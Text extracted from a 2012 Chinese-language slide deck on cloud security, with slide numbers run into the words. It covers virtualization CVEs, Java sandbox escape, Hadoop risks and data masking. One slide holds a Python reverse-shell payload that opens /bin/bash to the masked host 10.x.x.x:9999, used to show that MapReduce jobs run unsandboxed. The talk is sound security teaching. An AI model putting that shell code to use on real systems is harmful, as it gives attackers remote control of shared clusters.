1、深入淺出云計算安全吳翰清2012-071Who am I?Alibaba security (7 years) (3個月，1w冊)2icloud是云嗎？3互聯(lián)網(wǎng)未來的入口45隨時隨地上網(wǎng)改變了使用互聯(lián)網(wǎng)的方式但這不是傳統(tǒng)意義的云計算6云計算的前世今生電廠模式Utility Computing網(wǎng)格計算云計算1875,巴黎1961,麥肯錫1990S,Ian Foster2006,Amazon 7云計算的使命8Computing as Utility9兩種云計算彈性計算海量數(shù)據(jù)計算10彈性計算改變建站方式按需使用，按需付費專業(yè)運維服務(wù)化快速部署，自助開通11互聯(lián)網(wǎng)的長尾用戶中小站長、創(chuàng)業(yè)者運營商、政

2、府、公安、金融12“奢侈品”變成“消費品”彈性計算沖擊安全產(chǎn)業(yè)“銷售模式”變成“互聯(lián)網(wǎng)模式”13Security as a Service14結(jié)論：變革的浪潮就在眼前15彈性計算的安全挑戰(zhàn)巨大的共享環(huán)境網(wǎng)絡(luò)安全問題16虛擬化技術(shù)安全問題全虛擬化、半虛擬化、操作系統(tǒng)級虛擬化虛擬機逃逸問題 (CVE-2011-1898)D.O.S.HardwareHypervisorDomain0GuestOSDomain UGuestOSDomain UHost xx17XEN的DOSCVE-2012-2625 XEN 4.xCVE-2010-4255 XEN 4.0.1CVE-2010-4247 XEN 3.

3、4.0CVE-2010-3699 XEN 3.x18AppEngine的環(huán)境安全Java sandboxPHP sandbox語言級沙箱系統(tǒng)級沙箱19CVE-2012-0507Attacking java security manager2021突破java sandbox22彈性計算的網(wǎng)絡(luò)安全防火墻API防止ARP 欺騙、srcip偽造自動化清洗DDOS23海量數(shù)據(jù)計算的安全以hadoop為例24Map-Reduce簡介25海量數(shù)據(jù)計算的安全挑戰(zhàn)保護用戶數(shù)據(jù)隱私數(shù)據(jù)26互聯(lián)網(wǎng)公司使用hadoop的方式Hadoop 為linux設(shè)計共享“gateway”27共享”gateway”的問題/hom

4、e:28Hacking Hadoop原始數(shù)據(jù)的導(dǎo)入計算結(jié)果的導(dǎo)出運行環(huán)境安全并不僅僅是認證與授權(quán)29Map-Reduce job/UDF用戶上傳的java code缺乏sandbox3031String pysh = #!/bin/shrnpython -c import os;import sys;import socket;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(socket.gethostbyname(10.x.x.x),9999);s.send(Welcome my masterrn);os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send(Is there a shell?rn);os.system(/bin/bash);s.close();s.send(See u next time!rn);DEMO3233如何解決隱私問題？張三 男 北京市一號胡同李四 女 天津市二號小區(qū)34Data Masking35保留統(tǒng)計信息，掩蓋個人信息張A 男 xxxx李C 女 yyyy 北京市ABCD胡同 439MMM1天津市EFG